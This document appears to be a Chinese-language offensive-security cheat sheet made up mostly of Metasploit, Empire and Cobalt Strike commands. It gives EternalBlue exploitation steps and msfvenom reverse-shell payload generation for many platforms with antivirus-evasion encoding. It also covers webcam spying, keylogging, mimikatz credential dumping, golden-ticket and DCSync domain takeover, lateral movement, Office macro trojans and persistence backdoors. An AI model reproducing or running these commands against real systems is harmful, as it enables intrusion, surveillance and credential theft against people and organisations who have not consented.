>systemctl start postgresql.service 启动数据库服务
>msfdb init 初始化数据库
>msfconsole进入MSF框架
>search ms17-010 查找攻击模块
>use exploit/windows/smb/ms17_010_eternalblue 使用模块
>set payload windows/x64/meterpreter/reverse_tcp 设置载荷
>info 查看信息
>show options查看需要设置的参数
>set RHOST 192.168.125.138设置参数
>exploit 执行攻击模块
>back 回退
>handler -H 192.168.0.10 -P 3333 -p windows/x64/meterpreter/reverse_tcp快速监听
>setg 设置全局参数
>set autorunscript migrate –f 自动迁移进程
>set autorunscript migrate -n explorer.exe
>set AutoRunScript post/windows/manage/migrate
>set prependmigrate true 自动注入进程
>set prependmigrateProc svchost.exe
>set exitonsession false获取到session后继续监听,获得多个session
>set stagerverifysslcert false 防止出现ssl错误
>set SessionCommunicationTimeout 0 防止session超时退出
>set SessionExpirationTimeout 0 防止强制关闭session
>exploit -j -z 后台持续监听
>msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.0.107 LPORT=12138 -e x86/shikata_ga_nai -b "x00" -i 5 -a x86 --platform windows PrependMigrate=true PrependMigrateProc=explorer.exe -f exe -o 1.exe 执行后注入到已存在的一个进程
>set EnableStageEncoding true
>set stageencoder x86/fnstenv_mov 编码进行免杀
>set stageencodingfallback false
Auxiliary
>show auxiliary 查看所有模块
Payload
>show payloads 查看所有攻击载荷
Payload是目标被攻击时执行的实际功能代码
>use exploit/multi/script/web_delivery
>set target 2
>msfvenom --list payloads 列出所有payload
>msfvenom --list encoders 列出所有编码器
Windows
#msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.0.1 LPORT=11111 -f exe -o /root/1.exe
>msfvenom -a x86 --platform windows -p windows/meterpreter/reverse_tcp LHOST=192.168.0.1 LPORT=11111 -e x86/shikata_ga_nai -b '\x00\x0a\xff' -i 3 -f exe -o 1.exe
>msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.0.1 LPORT=11111 -f psh-reflection >xxx.ps1
>msfvenom -a x64 --platform windows -p windows/powershell_reverse_tcp LHOST=192.168.0.1 LPORT=11111 -e cmd/powershell_base64 -i 3 -f raw -o shell.ps1
>msfvenom -p windows/shell_hidden_bind_tcp LHOST=192.168.0.1 LPORT=11111 -f exe> /root/1.exe 生成NC正向连接
>msfvenom -p windows/shell_reverse_tcp LHOST=192.168.0.1 LPORT=11111 -f exe> 1.exe 生成NC反向连接
Linux
>msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=192.168.0.1 LPORT=11111 -e -f elf -a x86 --platform linux -o shell
>msfvenom -p cmd/unix/reverse_bash LHOST=192.168.0.1 LPORT=11111 -f raw > shell.sh
MacOS
>msfvenom -p osx/x86/shell_reverse_tcp LHOST=192.168.0.1 LPORT=11111 -f macho > shell.macho
>msfvenom -p php/meterpreter_reverse_tcp LHOST=192.168.0.1 LPORT=11111 -f raw > shell.php
>msfvenom -p java/jsp_shell_reverse_tcp LHOST=192.168.0.1 LPORT=11111 -f war > shell.war
>msfvenom -a x86 --platform windows -p windows/meterpreter/reverse_tcp LHOST=192.168.0.1 LPORT=11111 -f aspx -o payload.aspx
>msfvenom --platform java -p java/jsp_shell_reverse_tcp LHOST=192.168.0.1 LPORT=11111 -f raw -o payload.jsp
>msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.0.1 LPORT=11111 -f asp > shell.asp
Android
>msfvenom -a x86 --platform Android -p android/meterpreter/reverse_tcp LHOST=192.168.0.1 LPORT=11111 -f apk -o payload.apk
>msfvenom -a dalvik -p android/meterpreter/reverse_tcp LHOST=192.168.0.1 LPORT=12138 -f raw > shell.apk
>msfvenom -p android/meterpreter/reverse_tcp LHOST=192.168.0.1 LPORT=12138 R > test.apk
shellcode
>msfvenom -p windows/meterpreter/reverse_http LHOST=192.168.0.1 LPORT=11111 -f c –o /root/1.c
>msfvenom -p cmd/unix/reverse_python LHOST=192.168.0.1 LPORT=11111 -o shell.py
>msfvenom -a python -p python/meterpreter/reverse_tcp LHOST=192.168.0.1 LPORT=11111 -f raw > shell.py
>msfvenom -p cmd/unix/reverse_perl LHOST=192.168.0.1 LPORT=11111 -f raw -o payload.pl
>msfvenom -p ruby/shell_reverse_tcp LHOST=192.168.0.1 LPORT=11111 -f raw -o payload.rb
>msfvenom -p cmd/unix/reverse_lua LHOST=192.168.0.1 LPORT=11111 -f raw -o payload.lua
msf设置监听
>use exploit/multi/handler
>set payloadwindows/meterpreter/reverse_http 指定相应的payload
>set LHOST 192.168.0.1
>set LPORT 11111
>exploit -j 后台监听
或在exploit模块中直接使用set payload 命令指定payload
Meterpreter
当攻击成功后会返回会话,使用session -l命令列出当前获取到的会话
>session -l
>sessions -i id 来进入一个会话进行交互
>background 将当前会话放置后台
>sessions -x检查心跳
>sessions -u [ID] cmdshell升级meterpreter shell
提权详见提权模块
>shell 进入目标cmdshell
>uictl [enable/disable] [keyboard/mouse/all] 开启或禁止键盘/鼠标
>uictl disable mouse 禁用鼠标
>uictl disable keyboard 禁用键盘
>webcam_list 查看摄像头
>webcam_snap 通过摄像头拍照
>webcam_stream 通过摄像头开启视频
>execute -H -i -f cmd.exe 执行cmd.exe,-H不可见,-i交互
>execute -H -m -d calc.exe -f wce.exe -a "-o 1.txt" 隐藏执行
>ps查看当前活跃进程
>migrate pid 迁移进程
>kill pid #杀死进程
>pwd 查看当前目录
>ls 列出当前目录文件
>search -f *pass* 搜索文件
>cat c:\\passwd.txt 查看文件内容
>upload /tmp/pwn.txt C:\\1.txt 上传文件
>download c:\\passwd.txt /tmp/ 下载文件
>edit c:\\1.txt 编辑或创建文件
>rm C:\\1.txt 删除文件
>mkdir folder 创建文件夹
>rmdir folder 删除文件夹
>lcd /tmp #攻击者主机 切换目录
>timestomp -v C://2.txt #查看时间戳
>timestomp C://2.txt -f C://1.txt #将1.txt的时间戳复制给2.txt
后渗透&权限维持
路由添加,socks建立,后门建立等查看
查看后门&持久化板块
#clearev
MSF派生Cobalt strike和Empire
派生Empire
Empire创建一个Listener
创建一个stager选择windows/dll
MSF使用
>use post/windows/manage/reflective_dll_inject
指定session,dll的路径,进程pid
派生Cobalt Strike
cobalt 开启一个监听器windows/beacon_http/reverse_http
>use exploit/windows/manage/payload_inject
指定IP、端口、payload即可
Empire
>git clone https://github.com/EmpireProject/Empire.git
>d Empire/setup
>./install.sh
(Empire) > listeners
(Empire: listeners) > uselistener http
(Empire: listeners) > info 查看参数信息
(Empire: listeners/http) > set Name y
(Empire: listeners/http) > set Host http://192.168.0.1
(Empire: listeners/http) > set Port 8080
(Empire: listeners/http) > execute
>back命令返回listeners模块
>list查看已激活的listener
>kill http删除监听
(Empire: listeners) > usestager windows/launcher_vbs (双击tab键查看所有模块)
(Empire: stager/windows/launcher_vbs) > info
必须设置listener的名字,可设置生成位置
(Empire: stager/windows/launcher_vbs) > set Listener y
(Empire: stager/windows/launcher_vbs) > execute
可生成vbs,靶机执行即可上线。
使用launcher命令直接生成powershell或python脚本
>launcher powershell Listener-Name
使用rename对agents更名
>rename 6NMCW4ZB target1
使用main命令放回主菜单
>list stale 列出失去权限的机器
>remove stale 去除失去权限的机器
连接靶机及其他操作
>interact target1 连接
>agent 返回靶机列表
>back 返回上一层
>shell net user 1 1 /add 执行系统目录格式
>mimikazt 加载模块获取密码
>creds 整理获取的密码,creds export /root/1.txt 保存密码,creds hash/plaintext,显示格式
>sc 获取当前桌面截图,文件存储在./Empire/download/agent名字/screenshot
>download c:\pass.txt 下载靶机文件到本机
>upload hacked.txt c:\hacked.txt 上传本机文件到靶机
>agents 列表中Username没有星号则需要提权
>bypassuac listener需指定一个监听器 提权
>usemodule privesc/ms16-032需指定一个监听器 提权
>usemodule privesc/powerup/allchecks执行所有脚本检查漏洞
查询域管登录机器
>usemodule situational_awareness/network/powerview/user_hunter
>mimikatz
>creds 获取并整理hash及密码
>pth {ID}窃取管理员令牌
>steal_token {PID}
>ps 查看进程
>usemodule management/psinject 设置ProcIP和Listener
Hash传递
Invoke-PsExec可能会被查杀
>usemodule situational_awareness/network/powerview/find_localadmin_access 列出可PSexec横向移动的机器
>usemodule lateral_movement/invoke_psexec需设置ComputerName和Listener
>usemodule lateral_movement/invoke_wmi需设置ComputerName和Listener,credID
父域域控:dc.zone.com
子域域控:sub.zone.com
子域计算机:pc.sub.zone.com
子域普通用户:sub\user1
查看信任关系
>usemodule situational_awareness/network/powerview/get_domain_trust
获取父域krbtgt SID,使用management/user_to_sid获取sid
需设置Domain和User=krbtgt
>usemodule credentials/mimikatz/dcsync 设置UserName 子域\krbtgt 获取子域hash
>usemodule credentials/mimikatz/golden_ticket 伪造sid
需设置User为伪造用户 sids伪造的标识符{krbtgt sid}-519
>usemodule credentials/mimikatz/dcsync 获取父域krbtgt的hash
>usemodule credentials/mimikatz/golden_ticket 使用父域krbtgt进行PTH攻击,指定父域CredID,用户名和域
>shell dir \\dc.zone.com\c$
后门&持久化
>usemodule lateral_movement/invoke_wmi_debugger
设置Listener,ComputerName(大写),TargetBinary(sethc.exe, Utilman.exe, osk.exe, Narrator.exe, Magnify.exe),分别是粘滞键,轻松访问,屏幕键盘,讲述人,放大镜。
注入注册表启动项
>usemodule persistence/elevated/registry*
设置Listener,注册表路径RegPath [HKLM\software\microsoft\windows\currentversion\run]
>usemodule persistence/elevated/schtasks*
设置Listener和DailyTime
>usemodule persistence/elevated/wmi
设置Listener
注入SSP
查看SSP章节
Collection(信息采集)
| 模块名 | 功能 |
| ------------ | ------------ |
| collection/ChromeDump | 收集chrome浏览器保存的密码和浏览历史记录 |
| collection/FoxDump | 收集Firefox浏览器保存的密码和浏览历史记录 |
| collection/USBKeylogger* | 利用ETW作为键盘记录 |
| collection/WebcamRecorder | 从摄像头捕获视频 |
| collection/browser_data | 搜索浏览器历史记录或书签 |
| collection/clipboard_monitor |按指定的时间间隔监视剪贴板 |
| collection/file_finder | 查找域中的敏感文件 |
|collection/find_interesting_file | 查找域中的敏感文件 |
| collection/get_indexed_item |获取Windows desktop search索引文件 |
|collection/get_sql_column_sample_data | 从目标SQL Server返回列信息。 |
| collection/get_sql_query | 在目标SQL服务器上执行查询 |
|collection/inveigh |Windows PowerShell LLMNR/mDNS/NBNS中间人工具 |
|collection/keylogger | 键盘记录到keystrokes.txt文件中,文件位置/downloads/agentname/keystrokes.txt/agentname |
|collection/minidump | 进程的全内存转储,PowerSploit的Out-Minidump.ps1 |
| collection/netripper |将NetRipper注入目标进程,该进程使用API挂钩以拦截来自低特权用户的网络流量和与加密相关的功能,从而能够在加密之前/解密之后捕获纯文本流量和加密流量。 |
|collection/ninjacopy* |通过读取原始卷并解析NTFS结构,从NTFS分区卷中复制文件。 |
|collection/packet_capture* |使用netsh在主机上启动数据包捕获。 |
|collection/prompt |提示当前用户在表单框中输入其凭据,然后返回结果。 |
|collection/screenshot |屏幕截图 |
|collection/vaults/add_keepass_config_trigger | 寻找KeePass配置 |
|collection/vaults/find_keepass_config |此模块查找并解析KeePass.config.xml (2.X)和KeePass.config.xml (1.X)文件。 |
|collection/vaults/get_keepass_config_trigger |该模块从KeePass 2.X配置XML文件中提取触发器说明 |
|collection/vaults/keethief |此模块检索未锁定的KeePass数据库的database mastey key信息 |
|collection/vaults/remove_keepass_config_trigger | 该模块从Find-KeePassConfig找到的所有KeePass配置中删除所有触发器 |
>usemodule collection/ tab补齐查看模块
>usemodule collection/screenshot 获取当前桌面截图,文件存储在./Empire/download/agent名字/screenshot
>usemodule collection/keylogger 键盘记录,文件存储在./Empire/download/agent名字/agent.log
>usemodule situational_awareness/host/winenum 查看当前用户、AD组、剪切板内容、系统版本、共享、网络信息、防火墙规则
>usemodule situational_awareness/network/powerview/share_finder 列出域内所有共享
>usemodule situational_awareness/network/arpscan
>set Range 192.168.0.1-192.168.0.100 ARP扫描,需设置扫描网段区间
>usemodule situational_awareness/network/portscan
>set Hosts 192.168.0.1-192.168.0.100 端口扫描,需设置IP或IP段
>usemodule situational_awareness/network/reverse_dns DNS信息,需设置IP
>set Range 192.168.0.1-192.168.0.100
>usemodule situational_awareness/network/powerview/get_domain_controller 查找域控
Code_execution(代码执行)
|模块名 |功能 |
| ------------ | ------------ |
|code_execution/invoke_dllinjection |使用PowerSploit的Invoke-DLLInjection将Dll注入您选择的进程ID。 |
|code_execution/invoke_metasploitpayload |生成一个新的隐藏PowerShell窗口,该窗口下载并执行Metasploit Payload。这与Metasploit模块theexploit/multi/scripts/web_delivery互动 |
| code_execution/invoke_ntsd |使用NT Symbolic Debugger执行Empire launcher代码 |
|code_execution/invoke_reflectivepeinjection |使用PowerSploit的Invoke-ReflectivePEInjection进行反射PE注入,将DLL/EXE加载进PowerShell进程中,或者将DLL加载进远程进程中 |
| code_execution/invoke_shellcode |使用PowerSploit的Invoke--Shellcode注入Shellcode |
|code_execution/invoke_shellcodemsil |执行shellcode |
Credentials(身份凭证)
|模块名 |功能 |
| ------------ | ------------ |
| credentials/credential_injection* |运行PowerSploit的Invoke-CredentialInjection创建具有明文凭证的登录,而不会触发事件ID 4648使用显式凭据尝试登录 |
|credentials/enum_cred_store |从Windows凭据管理器中转储当前交互用户的纯文本凭据 |
|credentials/invoke_kerberoast |为具有非空服务主体名称(SPN)的所有用户请求kerberos票据,并将其提取为John或Hashcat可用格式 |
|credentials/powerdump* | 使用Posh-SecMod的Invoke-PowerDump从本地系统中转储哈希 |
|credentials/sessiongopher | 提取WinSCP已保存的会话和密码 |
|credentials/tokens |运行PowerSploit的Invoke-TokenManipulation枚举可用的登录令牌,并使用它们创建新的进程 |
|credentials/vault_credential* |运行PowerSploit的Get-VaultCredential以显示Windows Vault凭证对象,包括明文Web凭证 |
|credentials/mimikatz/cache* |运行PowerSploit的Invoke-Mimikatz函数以提取MSCache(v2) hashes |
|credentials/mimikatz/certs* | 运行PowerSploit的Invoke-Mimikatz函数将所有证书提取到本地目录 |
|credentials/mimikatz/command* |使用自定义命令运行PowerSploit的Invoke-Mimikatz函数 |
|credentials/mimikatz/dcsync |运行PowerSploit的Invoke-Mimikatz函数,以通过Mimikatz的lsadump::dcsync模块提取给定的帐户密码 |
|credentials/mimikatz/dcsync_hashdump |运行PowerSploit的Invoke-Mimikatz函数,以使用Mimikatz的lsadump::dcsync模块收集所有域哈希 |
|credentials/mimikatz/extract_tickets |运行PowerSploit的Invoke-Mimikatz函数,以base64编码形式从内存中提取kerberos票据 |
|credentials/mimikatz/golden_ticket |运行PowerSploit的Invoke-Mimikatz函数以生成黄金票据并将其注入内存 |
|credentials/mimikatz/keys* |运行PowerSploit的Invoke-Mimikatz函数以将所有密钥提取到本地目录 |
|credentials/mimikatz/logonpasswords* |运行PowerSploit的Invoke-Mimikatz函数以从内存中提取纯文本凭据。 |
|credentials/mimikatz/lsadump* |运行PowerSploit的Invoke-Mimikatz函数以从内存中提取特定的用户哈希。 在域控制器上很有用。 |
|credentials/mimikatz/mimitokens* |运行PowerSploit的Invoke-Mimikatz函数以列出或枚举令牌。 |
|credentials/mimikatz/pth* |运行PowerSploit的Invoke-Mimikatz函数以执行sekurlsa::pth来创建一个新进程。 |
|credentials/mimikatz/purge |运行PowerSploit的Invoke-Mimikatz函数从内存中清除所有当前的kerberos票据 |
|credentials/mimikatz/sam* |运行PowerSploit的Invoke-Mimikatz函数从安全帐户管理器(SAM)数据库中提取哈希 |
|credentials/mimikatz/silver_ticket |运行PowerSploit的Invoke-Mimikatz函数,以生成服务器/服务的白银票据并将其注入内存。 |
|credentials/mimikatz/trust_keys* |运行PowerSploit的Invoke-Mimikatz函数,从域控制器中提取域信任密钥。 |
Exfiltration(数据窃取)
|模块名 |功能 |
| ------------ | ------------ |
| exfiltration/egresscheck |可用于帮助检查主机与客户端系统之间的出口,详细信息:https://github.com/stufus/egresscheck-framework |
|exfiltration/exfil_dropbox |下载文件到dropbox |
Exploitation(漏洞利用EXP)
|模块名 |功能 |
| ------------ | ------------ |
|exploitation/exploit_eternalblue |MS17_010永恒之蓝漏洞利用 |
|exploitation/exploit_jboss |Jboss漏洞利用 |
|exploitation/exploit_jenkins |在未授权访问的Jenkins脚本控制台上运行命令 |
Lateral_movement(横向移动)
| 模块名 | 功能 |
| ------------ | ------------ |
|lateral_movement/inveigh_relay | smb中继攻击 |
|lateral_movement/invoke_dcom |使用DCOM在远程主机上执行stager |
|lateral_movement/invoke_executemsbuild | 该模块利用WMI和MSBuild编译并执行一个包含Empire launcher的xml文件。 |
|lateral_movement/invoke_psexec | PsExec横向移动 |
|lateral_movement/invoke_psremoting |远程PowerShell横向移动 |
|lateral_movement/invoke_smbexec |SMBExec横向移动 |
|lateral_movement/invoke_sqloscmd | 利用xp_cmdshell横向移动 |
|lateral_movement/invoke_sshcommand |利用SSH横向移动 |
|lateral_movement/invoke_wmi |利用WMI横向移动 |
|lateral_movement/invoke_wmi_debugger |使用WMI将远程机器上的二进制文件的调试器设置为cmd.exe或stager |
|lateral_movement/jenkins_script_console |利用未授权访问的Jenkins脚本控制台横向移动 |
|lateral_movement/new_gpo_immediate_task |利用GPO中的计划任务横向移动 |
Management(管理)
|模块名 |功能 |
| ------------ | ------------ |
|management/enable_rdp* |在远程计算机上启用RDP并添加防火墙例外。 |
|management/disable_rdp* |在远程计算机上禁用RDP |
|management/downgrade_account |在给定的域帐户上设置可逆加密,然后强制下次用户登录时设置密码。 |
|management/enable_multi_rdp* |允许多个用户建立同时的RDP连接。 |
|management/get_domain_sid |返回当前指定域的SID |
|management/honeyhash* | 将人工凭证注入到LSASS |
|management/invoke_script |运行自定义脚本 |
|management/lock |锁定工作站的显示 |
|management/logoff | 从计算机上注销当前用户(或所有用户) |
|management/psinject |利用Powershell注入Stephen Fewer形成的ReflectivePick,该ReflectivePick在远程过程中从内存执行PS代码 |
|management/reflective_inject |利用Powershell注入Stephen Fewer形成的ReflectivePick,该ReflectivePick在远程过程中从内存执行PS代码 |
|management/restart |重新启动指定的机器 |
|management/runas |绕过GPO路径限制 |
|management/shinject |将PIC Shellcode Payload注入目标进程 |
|management/sid_to_user |将指定的域sid转换为用户 |
|management/spawn |在新的powershell.exe进程中生成新agent |
|management/spawnas |使用指定的登录凭据生成agent |
|management/switch_listener | 切换listener |
|management/timestomp |通过'调用Set-MacAttribute执行类似耗时的功能 |
|management/user_to_sid | 将指定的domain\user转换为domain sid |
|management/vnc | Invoke-Vnc在内存中执行VNC代理并启动反向连接 |
|management/wdigest_downgrade* |将计算机上的wdigest设置为使用显式凭据 |
|management/zipfolder |压缩目标文件夹以供以后渗透 |
|management/mailraider/disable_security |此函数检查ObjectModelGuard |
|management/mailraider/get_emailitems |返回指定文件夹的所有项目 |
|management/mailraider/get_subfolders |返回指定顶级文件夹中所有文件夹的列表 |
|management/mailraider/mail_search |在给定的Outlook文件夹中搜索项目 |
|management/mailraider/search_gal |返回与指定搜索条件匹配的所有exchange users |
|management/mailraider/send_mail |使用自定义或默认模板将电子邮件发送到指定地址。 |
|management/mailraider/view_email |选择指定的文件夹,然后在指定的索引处输出电子邮件项目 |
Persistence(持久化)
| 模块名 |功能 |
| ------------ | ------------ |
|persistence/elevated/registry* |计算机启动项持久化,通过HKLM:SOFTWARE\Microsoft\Windows\CurrentVersion\Run进行持久化,运行一个stager或者脚本 |
|persistence/elevated/schtasks* |计划任务持久化 |
|persistence/elevated/wmi* | WMI事件订阅持久化 |
|persistence/elevated/wmi_updater* |WMI订阅持久化 |
|persistence/misc/add_netuser |将域用户或本地用户添加到当前(或远程)计算机 |
|persistence/misc/add_sid_history* |运行PowerSploit的Invoke-Mimikatz函数以执行misc::addsid以添加用户的sid历史记录。 仅适用于域控制器 |
|persistence/misc/debugger* | 将指定目标二进制文件的调试器设置为cmd.exe |
|persistence/misc/disable_machine_acct_change* |禁止目标系统的机器帐户自动更改其密码 |
|persistence/misc/get_ssps |枚举所有已加载的安全软件包 |
|persistence/misc/install_ssp* |安装安全支持提供程序dll |
|persistence/misc/memssp* |运行PowerSploit的Invoke-Mimikatz函数以执行misc::memssp,将所有身份验证事件记录到C:\Windows\System32\mimisla.log |
|persistence/misc/skeleton_key* |运行PowerSploit的Invoke-Mimikatz函数来执行misc::skeleton,植入密码mimikatz的万能钥匙。 仅适用于域控制器 |
|persistence/powerbreach/deaduser |DeadUserBackdoor后门,详细信息:http://www.sixdub.net/?p=535 |
|persistence/powerbreach/eventlog* | 启动事件循环后门 |
|persistence/powerbreach/resolver | 启动解析器后门 |
|persistence/userland/backdoor_lnk |LNK文件后门 |
|persistence/userland/registry | 计算机启动项持久化,通过HKLM:SOFTWARE\Microsoft\Windows\CurrentVersion\Run进行持久化,运行一个stager或者脚本 |
|persistence/userland/schtasks | 计划任务持久化 |
Privesc(权限提升)
|模块名 | 功能 |
| ------------ | ------------ |
|privesc/ask |弹出一个对话框,询问用户是否要以管理员身份运行powershell |
|privesc/bypassuac |UAC bypass |
|privesc/bypassuac_env | UAC bypass |
|privesc/bypassuac_eventvwr | UAC bypass |
|privesc/bypassuac_fodhelper | UAC bypass |
|privesc/bypassuac_sdctlbypass |UAC bypass |
|privesc/bypassuac_tokenmanipulation | UAC bypass |
|privesc/bypassuac_wscript | UAC bypass |
|privesc/getsystem* | 获取system特权 |
|privesc/gpp |利用windows组策略首选项缺陷获取系统帐号 |
|privesc/mcafee_sitelist |寻找McAfee SiteList.xml文件的纯文本密码 |
|privesc/ms16-032 |MS16-032本地提权 |
|privesc/ms16-135 | MS16-135本地提权 |
|privesc/tater |利用PowerShell实现的Hot Potato提权 |
|privesc/powerup/allchecks |检查目标主机的攻击向量以进行权限提升 |
|privesc/powerup/find_dllhijack |查找通用的.DLL劫持 |
|privesc/powerup/service_exe_restore | 还原备份的服务二进制文件 |
|privesc/powerup/service_exe_stager | 备份服务的二进制文件,并用启动stager.bat的二进制文件替换原始文件 |
|privesc/powerup/service_exe_useradd |修改目标服务以创建本地用户并将其添加到本地管理员 |
|privesc/powerup/service_stager |修改目标服务以执行Empire stager |
|privesc/powerup/service_useradd | 修改目标服务以创建本地用户并将其添加到本地管理员 |
|privesc/powerup/write_dllhijacker |将可劫持的.dll以及.dll调用的stager.bat一起写到指定路径。 wlbsctrl.dll在Windows 7上运行良好。需要重新启动计算机 |
Recon(侦察)
|模块名 | 功能 |
| ------------ | ------------ |
|recon/find_fruit | 在网络范围内搜索潜在的易受攻击的Web服务 |
|recon/get_sql_server_login_default_pw |发现在当前广播域之内的SQL Server实例 |
|recon/http_login | 针对基本身份验证测试凭据 |
Situational_awareness(态势感知)
| 模块名 | |
| ------------ | ------------ |
|situational_awareness/host/antivirusproduct | 获取防病毒产品信息 |
|situational_awareness/host/computerdetails* | 枚举有关系统的有用信息 |
|situational_awareness/host/dnsserver |枚举系统使用的DNS服务器 |
|situational_awareness/host/findtrusteddocuments | 该模块将枚举适当的注册表 |
|situational_awareness/host/get_pathacl | 枚举给定文件路径的ACL |
|situational_awareness/host/get_proxy |枚举当前用户的代理服务器和WPAD内容 |
|situational_awareness/host/get_uaclevel | 枚举UAC级别 |
|situational_awareness/host/monitortcpconnections |监视主机与指定域名或IPv4地址的TCP连接,对于会话劫持和查找与敏感服务进行交互的用户很有用
|situational_awareness/host/paranoia* |持续检查运行过程中是否存在可疑用户 |
|situational_awareness/host/winenum |收集有关主机和当前用户上下文的相关信息 |
|situational_awareness/network/arpscan |针对给定范围的IPv4 IP地址执行ARP扫描 |
|situational_awareness/network/bloodhound |执行BloodHound数据收集 |
|situational_awareness/network/get_exploitable_system |查询Active Directory以查找可能容易受到Metasploit Exploit的系统 |
|situational_awareness/network/get_spn | 获取服务主体名称(SPN) |
|situational_awareness/network/get_sql_instance_domain |返回SQL Server实例列表 |
|situational_awareness/network/get_sql_server_info | 从目标SQL Server返回基本服务器和用户信息 |
|situational_awareness/network/portscan | 使用常规套接字进行简单的端口扫描 |
|situational_awareness/network/reverse_dns | 执行给定IPv4 IP范围的DNS反向查找 |
|situational_awareness/network/smbautobrute |针对用户名/密码列表运行SMB暴力破解 |
|situational_awareness/network/smbscanner | 在多台机器上测试用户名/密码组合 |
|situational_awareness/network/powerview/find_foreign_group | 枚举给定域的组的所有成员,并查找不在查询域中的用户 |
|situational_awareness/network/powerview/find_foreign_user |枚举在其主域之外的组中的用户 |
|situational_awareness/network/powerview/find_gpo_computer_admin | 获取计算机(或GPO)对象,并确定哪些用户/组对该对象具有管理访问权限 |
|situational_awareness/network/powerview/find_gpo_location | 获取用户名或组名,并确定其具有通过GPO进行管理访问的计算机 |
|situational_awareness/network/powerview/find_localadmin_access |在当前用户具有“本地管理员”访问权限的本地域上查找计算机 |
|situational_awareness/network/powerview/find_managed_security_group |此功能检索域中的所有安全组 |
|situational_awareness/network/powerview/get_cached_rdpconnection | 使用远程注册表功能来查询计算机上“ Windows远程桌面连接客户端”的所有信息 |
|situational_awareness/network/powerview/get_computer |查询当前计算机对象的域 |
|situational_awareness/network/powerview/get_dfs_share | 返回给定域的所有容错分布式文件系统的列表 |
|situational_awareness/network/powerview/get_domain_controller |返回当前域或指定域的域控制器 |
|situational_awareness/network/powerview/get_domain_policy |返回给定域或域控制器的默认域或DC策略 |
|situational_awareness/network/powerview/get_domain_trust |返回当前域或指定域的所有域信任 |
|situational_awareness/network/powerview/get_fileserver | 返回从用户主目录提取的所有文件服务器的列表 |
|situational_awareness/network/powerview/get_forest |返回有关给定域森林的信息 |
|situational_awareness/network/powerview/get_forest_domain |返回给定林的所有域 |
|situational_awareness/network/powerview/get_gpo |获取域中所有当前GPO的列表 |
|situational_awareness/network/powerview/get_group | 获取域中所有当前组的列表 |
|situational_awareness/network/powerview/get_group_member | 返回给定组的成员 |
|situational_awareness/network/powerview/get_localgroup | 返回本地或远程计算机上指定本地组中所有当前用户的列表 |
|situational_awareness/network/powerview/get_loggedon |执行NetWkstaUserEnum Win32API调用以查询主动登录主机的用户 |
|situational_awareness/network/powerview/get_object_acl | 返回与特定活动目录对象关联的ACL |
|situational_awareness/network/powerview/get_ou | 获取域中所有当前OU的列表 |
|situational_awareness/network/powerview/get_rdp_session | 在给定的RDP远程服务中查询活动会话和原始IP |
|situational_awareness/network/powerview/get_session | 执行NetSessionEnum Win32API调用以查询主机上的活动会话 |
|situational_awareness/network/powerview/get_site |获取域中所有当前站点的列表 |
|situational_awareness/network/powerview/get_subnet | 获取域中所有当前子网的列表 |
|situational_awareness/network/powerview/get_user |查询给定用户或指定域中用户的信息 |
|situational_awareness/network/powerview/map_domain_trust|使用.CSV输出映射所有可访问的域信任 |
|situational_awareness/network/powerview/process_hunter |查询远程机器的进程列表 |
|situational_awareness/network/powerview/set_ad_object |使用SID,名称或SamAccountName来查询指定的域对象 |
|situational_awareness/network/powerview/share_finder |在域中的计算机上查找共享 |
|situational_awareness/network/powerview/user_hunter |查找指定组的用户登录的机器 |
Trollsploit(恶作剧)
|模块名 |功能 |
| ------------ | ------------ |
|trollsploit/get_schwifty |播放Schwifty视频,同时把计算机音量设置最大 |
|trollsploit/message |发送一个消息框 |
|trollsploit/process_killer |终止以特定名称开头的任何进程 |
|trollsploit/rick_ascii |生成一个新的powershell.exe进程运行Lee Holmes' ASCII Rick Roll |
|trollsploit/rick_astley |运行SadProcessor's beeping rickroll |
|trollsploit/thunderstruck |播放Thunderstruck视频,同时把计算机音量设置最大 |
|trollsploit/voicetroll |通过目标上的合成语音朗读文本 |
|trollsploit/wallpaper |将.jpg图片上传到目标机器并将其设置为桌面壁纸 |
|trollsploit/wlmdr |在任务栏中显示气球提示 |
Empire Word
>usestager windows/launcher_bat生成bat木马,设置Listener
Word/Excel->插入->对象->由文件创建,选择bat,显示为图标,修改图标
Macro
>usestager windows/macro 设置Listener
Word/Excel->试图->宏->创建,复制macro进去
Empire派生Cobalt Strike和MSF
派生MSF
可绕过杀软
Empire
>usemodule code_execution/invoke_shellcode
>set Lhost 192.168.0.1
>set Lport 4444
>set Payload reverse_http
>use exploit/multi/handler
>set payloadwindows/meterpreter/reverse_http
>set Lhost 192.168.31.247
>set lport 4444
或Empire
>usemodule code_execution/invoke_metasploitpayload
>set URL http://SRVHOST:SRVPORT
#use exploit/multi/script/web_delivery
#set payload windows/x64/meterpreter/reverse_tcp
设置SRVHOST SRVPORT
派生Cobalt Strike
创建监听器/windows/beacon_http/reverse_http 设置端口和主机
Empire
>usemodule code_execution/invoke_shellcode
>set Lhost 192.168.0.1
>set Lport 4444
>set Payload reverse_http
Cobalt Strike
需要JDK环境
>tar -xzvf jdk-8u191-linux-x64.tar.gz
部署TeamServer
>./teamserver 192.168.0.107 123456
格式是外网IP和密码
New Connection:新建连接
Preferences:设置外观
Visualization:查看主机的不同形式
VPN Interfaces: VPN接口
Listeners:监听器
Script Interfaces:查看和加载CNA脚本
Close:关闭CS
Cobalt Strike -> Listeners点击Add
Beacon为CS内部监听器。
Foreign一般与MSF结合使用。
系统架构的支持
|名称 |功能 | | ———— | ———— | |HTML Application |基于powershell的.hta格式的HTML Application木马,分为可执行文件、PowerShell、VBA三种方法 | |MS Office Macro |office宏病毒文件 | |Payload Generator |基于C、C#、COM Scriptlet、Java、Perl、PowerShell、Python、Ruby、VBA等语言的payload | |USB/CD AutoPlay |利用USB/CD自动播放运行的木马 | |Windows Dropper |捆绑器 | |Windows Executable |生成32位或64位的exe和基于服务的可执行文件、DLL等后门 | |Windows Executable(S) |生成可执行文件,支持powershell脚本,提供代理功能 |
Web Drive-by基于WEB的攻击模块
|名称 | 功能 |
| ------------ | ------------ |
|Manage |管理开启的模块 |
|Clone Site |克隆网站 |
|Host File |提供文件下载 |
|Scripted Web Delivery |基于Web的攻击Payload |
|Signed Applet Attack |运行java自签名的攻击模块 |
|Smart Applet Attack |自动检测Java版本并利用已知的exploits攻击 |
|System Profiler |信息探测模块 |
|Applications |显示靶机应用信息 |
| ------------ | ------------ |
